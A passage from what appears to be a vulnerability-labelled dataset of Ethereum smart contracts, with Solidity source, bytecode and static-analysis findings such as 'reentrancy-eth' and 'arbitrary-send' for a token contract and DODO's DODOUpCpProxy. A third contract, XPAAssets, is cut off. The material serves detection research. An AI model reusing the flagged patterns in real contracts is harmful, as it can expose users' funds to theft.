d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b815260040161045a906118b8565b600061092b306105ab565b90506104788161107a565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161045a906118b8565b600e546109809030906001600160a01b0316670de0b6b3a7640000610b4e565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e919061194f565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610478919061197d565b6000546001600160a01b03163314610b085760405162461bcd60e51b815260040161045a906118b8565b600a81101561047857600b55565b6000546001600160a01b03163314610b405760405162461bcd60e51b815260040161045a906118b8565b600a81101561047857600c55565b6001600160a01b038316610bb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610c115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610d385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b60008111610d9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b6001600160a01b03831660009081526006602052604090205460ff1615610dc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b15610f72576000600955600c54600a55600f546001600160a01b038481169116148015610e3d5750600e546001600160a01b03838116911614155b8015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e775750600f54600160b81b900460ff165b15610ea4576000610e87836105ab565b601054909150610e9783836111f4565b1115610ea257600080fd5b505b600f546001600160a01b038381169116148015610ecf5750600e546001600160a01b03848116911614155b8015610ef457506001600160a01b03831660009081526005602052604090205460ff16155b15610f05576000600955600b54600a555b6000610f10306105ab565b600f54909150600160a81b900460ff16158015610f3b5750600f546001600160a01b03858116911614155b8015610f505750600f54600160b01b900460ff165b15610f7057610f5e8161107a565b478015610f6e57610f6e47610fbc565b505b505b610f7d838383611253565b505050565b60008184841115610fa65760405162461bcd60e51b815260040161045a919061165c565b506000610fb3848661199a565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600060075482111561105d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045a565b600061106761125e565b90506110738382611281565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c2576110c261190a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f91906118ed565b816001815181106111525761115261190a565b6001600160a01b039283166020918202929092010152600e546111789130911684610b4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b19085906000908690309042906004016119b1565b600060405180830381600087803b1580156111cb57600080fd5b505af11580156111df573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112018385611a22565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b610f7d8383836112c3565b600080600061126b6113ba565b909250905061127a8282611281565b9250505090565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fa565b6000806000806000806112d587611428565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113079087611485565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133690866111f4565b6001600160a01b038916600090815260026020526040902055611358816114c7565b6113628483611511565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113d58282611281565b8210156113f157505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361141b5760405162461bcd60e51b815260040161045a919061165c565b506000610fb38486611a3a565b60008060008060008060008060006114458a600954600a54611535565b925092509250600061145561125e565b905060008060006114688e87878761158a565b919e509c509a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f82565b60006114d161125e565b905060006114df83836115da565b306000908152600260205260409020549091506114fc90826111f4565b30600090815260026020526040902055505050565b60075461151e9083611485565b60075560085461152e90826111f4565b6008555050565b600080808061154f606461154989896115da565b90611281565b9050600061156260646115498a896115da565b9050600061157a826115748b86611485565b90611485565b9992985090965090945050505050565b600080808061159988866115da565b905060006115a788876115da565b905060006115b588886115da565b905060006115c7826115748686611485565b939b939a50919850919650505050505050565b6000826000036115ec5750600061042a565b60006115f88385611a5c565b9050826116058583611a3a565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b600060208083528351808285015260005b818110156116895785810183015185820160400152820161166d565b8181111561169b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047857600080fd5b80356116d1816116b1565b919050565b600080604083850312156116e957600080fd5b82356116f4816116b1565b946020939093013593505050565b60006020828403121561171457600080fd5b5035919050565b60008060006060848603121561173057600080fd5b833561173b816116b1565b9250602084013561174b816116b1565b929592945050506040919091013590565b60006020828403121561176e57600080fd5b8135611073816116b1565b801515811461047857600080fd5b60006020828403121561179957600080fd5b813561107381611779565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117cd57600080fd5b823567ffffffffffffffff808211156117e557600080fd5b818501915085601f8301126117f957600080fd5b81358181111561180b5761180b6117a4565b8060051b604051601f19603f83011681018181108582111715611830576118306117a4565b60405291825284820192508381018501918883111561184e57600080fd5b938501935b8285101561187357611864856116c6565b84529385019392850192611853565b98975050505050505050565b6000806040838503121561189257600080fd5b823561189d816116b1565b915060208301356118ad816116b1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ff57600080fd5b8151611073816116b1565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161194857611948611920565b5060010190565b60008060006060848603121561196457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198f57600080fd5b815161107381611779565b6000828210156119ac576119ac611920565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a015784516001600160a01b0316835293830193918301916001016119dc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3557611a35611920565b500190565b600082611a5757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7657611a76611920565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c484ecf404c853b3d6f20c926c74296f9d885e9edd54da94566dae2176f71bba64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,767 |
0x48D77f44416fD0b08f1Eca90Bc437D0a3e4e550d
|
/**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODOUpCpProxy.sol
/**
* @title DODOUpCpProxy
* @author DODO Breeder
*
* @notice UpCrowdPooling Proxy
*/
contract DODOUpCpProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
address public immutable _UPCP_FACTORY_;
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODOUpCpProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor(
address payable weth,
address upCpFactory,
address dodoApproveProxy
) public {
_WETH_ = weth;
_UPCP_FACTORY_ = upCpFactory;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
//============ UpCrowdPooling Functions (create) ============
function createUpCrowdPooling(
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP,
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) returns (address payable newUpCrowdPooling) {
address _baseToken = baseToken;
address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;
newUpCrowdPooling = IDODOV2(_UPCP_FACTORY_).createCrowdPooling();
_deposit(
msg.sender,
newUpCrowdPooling,
_baseToken,
baseInAmount,
false
);
(bool success, ) = newUpCrowdPooling.call{value: msg.value}("");
require(success, "DODOUpCpProxy: Transfer failed");
IDODOV2(_UPCP_FACTORY_).initCrowdPooling(
newUpCrowdPooling,
msg.sender,
_baseToken,
_quoteToken,
timeLine,
valueList,
isOpenTWAP
);
}
//====================== internal =======================
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
}
|
0x6080604052600436106100435760003560e01c80630d4eec8f1461004c5780633afe1f4c1461007d5780638fe21dec14610092578063eb99be12146101e05761004a565b3661004a57005b005b34801561005857600080fd5b506100616101f5565b604080516001600160a01b039092168252519081900360200190f35b34801561008957600080fd5b50610061610219565b610061600480360360e08110156100a857600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156100e357600080fd5b8201836020820111156100f557600080fd5b8035906020019184602083028401116401000000008311171561011757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561016757600080fd5b82018360208201111561017957600080fd5b8035906020019184602083028401116401000000008311171561019b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050508035151591506020013561023d565b3480156101ec57600080fd5b506100616105fc565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee5281565b6000805460ff1615610282576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff1916600117905581428110156102de576040805162461bcd60e51b81526020600482015260166024820152751113d113d55c10dc141c9bde1e4e881156141254915160521b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461030b578961032d565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561038a57600080fd5b505af115801561039e573d6000803e3d6000fd5b505050506040513d60208110156103b457600080fd5b505193506103c63385848c6000610620565b6040516000906001600160a01b0386169034908381818185875af1925050503d8060008114610411576040519150601f19603f3d011682016040523d82523d6000602084013e610416565b606091505b505090508061046c576040805162461bcd60e51b815260206004820152601e60248201527f444f444f5570437050726f78793a205472616e73666572206661696c65640000604482015290519081900360640190fd5b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b031663ecfc2db0863386868e8e8e6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b8381101561055f578181015183820152602001610547565b50505050905001838103825285818151815260200191508051906020019060200280838360005b8381101561059e578181015183820152602001610586565b505050509050019950505050505050505050600060405180830381600087803b1580156105ca57600080fd5b505af11580156105de573d6000803e3d6000fd5b50506000805460ff1916905550949c9b505050505050505050505050565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b80156106e15781156106dc577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561068757600080fd5b505af115801561069b573d6000803e3d6000fd5b505050506001600160a01b038516301490506106dc576106dc7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610784565b61077d565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526107d69084906107db565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b602083106108195780518252601f1990920191602091820191016107fa565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461087b576040519150601f19603f3d011682016040523d82523d6000602084013e610880565b606091505b5091509150816108d7576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610930578080602001905160208110156108f357600080fd5b50516109305760405162461bcd60e51b815260040180806020018281038252602a815260200180610937602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122080a533646e9ff038d47881f2b289644999a1e14cbf47b42fa60b6e81823c122664736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,768 |
0xfed40E3C6c17a50704409413E6bb738477631D7E
|
pragma solidity ^0.4.21;
interface Token {
function totalSupply() constant external returns (uint256 ts);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface XPAAssetToken {
function create(address user_, uint256 amount_) external returns(bool success);
function burn(uint256 amount_) external returns(bool success);
function burnFrom(address user_, uint256 amount_) external returns(bool success);
function getDefaultExchangeRate() external returns(uint256);
function getSymbol() external returns(bytes32);
}
interface Baliv {
function getPrice(address fromToken_, address toToken_) external view returns(uint256);
}
interface FundAccount {
function burn(address Token_, uint256 Amount_) external view returns(bool);
}
interface TokenFactory {
function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address);
function getPrice(address token_) external view returns(uint256);
function getAssetLength() external view returns(uint256);
function getAssetToken(uint256 index_) external view returns(address);
}
contract SafeMath {
function safeAdd(uint x, uint y)
internal
pure
returns(uint) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSub(uint x, uint y)
internal
pure
returns(uint) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMul(uint x, uint y)
internal
pure
returns(uint) {
uint z = x * y;
require((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint x, uint y)
internal
pure
returns(uint) {
require(y > 0);
return x / y;
}
function random(uint N, uint salt)
internal
view
returns(uint) {
bytes32 hash = keccak256(block.number, msg.sender, salt);
return uint(hash) % N;
}
}
contract Authorization {
mapping(address => address) public agentBooks;
address public owner;
address public operator;
address public bank;
bool public powerStatus = true;
bool public forceOff = false;
function Authorization()
public
{
owner = msg.sender;
operator = msg.sender;
bank = msg.sender;
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(msg.sender == operator || msg.sender == owner);
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
if(forceOff) {
powerStatus = false;
} else {
powerStatus = onOff_;
}
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{
operator = user_;
agentBooks[bank] = user_;
}
function assignBank(address bank_)
public
onlyOwner
{
bank = bank_;
}
function assignAgent(
address agent_
)
public
{
agentBooks[msg.sender] = agent_;
}
function isRepresentor(
address representor_
)
public
view
returns(bool) {
return agentBooks[representor_] == msg.sender;
}
function getUser(
address representor_
)
internal
view
returns(address) {
return isRepresentor(representor_) ? representor_ : msg.sender;
}
}
contract XPAAssets is SafeMath, Authorization {
string public version = "0.5.0";
// contracts
address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170;
address public oldXPAAssets = 0x0002992af1dd8140193b87d2ab620ca22f6e19f26c;
address public newXPAAssets = address(0);
address public tokenFactory = 0x0036B86289ccCE0984251CCCA62871b589B0F52d68;
// setting
uint256 public maxForceOffsetAmount = 1000000 ether;
uint256 public minForceOffsetAmount = 10000 ether;
// events
event eMortgage(address, uint256);
event eWithdraw(address, address, uint256);
event eRepayment(address, address, uint256);
event eOffset(address, address, uint256);
event eExecuteOffset(uint256, address, uint256);
event eMigrate(address);
event eMigrateAmount(address);
//data
mapping(address => uint256) public fromAmountBooks;
mapping(address => mapping(address => uint256)) public toAmountBooks;
mapping(address => uint256) public forceOffsetBooks;
mapping(address => bool) public migrateBooks;
address[] public xpaAsset;
address public fundAccount;
uint256 public profit = 0;
mapping(address => uint256) public unPaidFundAccount;
uint256 public initCanOffsetTime = 0;
//fee
uint256 public withdrawFeeRate = 0.02 ether; // 提領手續費
uint256 public offsetFeeRate = 0.02 ether; // 平倉手續費
uint256 public forceOffsetBasicFeeRate = 0.02 ether; // 強制平倉基本費
uint256 public forceOffsetExecuteFeeRate = 0.01 ether;// 強制平倉執行費
uint256 public forceOffsetExtraFeeRate = 0.05 ether; // 強制平倉額外手續費
uint256 public forceOffsetExecuteMaxFee = 1000 ether;
// constructor
function XPAAssets(
uint256 initCanOffsetTime_
) public {
initCanOffsetTime = initCanOffsetTime_;
}
function setFundAccount(
address fundAccount_
)
public
onlyOperator
{
if(fundAccount_ != address(0)) {
fundAccount = fundAccount_;
}
}
function createToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
onlyOperator
{
address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(xpaAsset[i] == newAsset){
return;
}
}
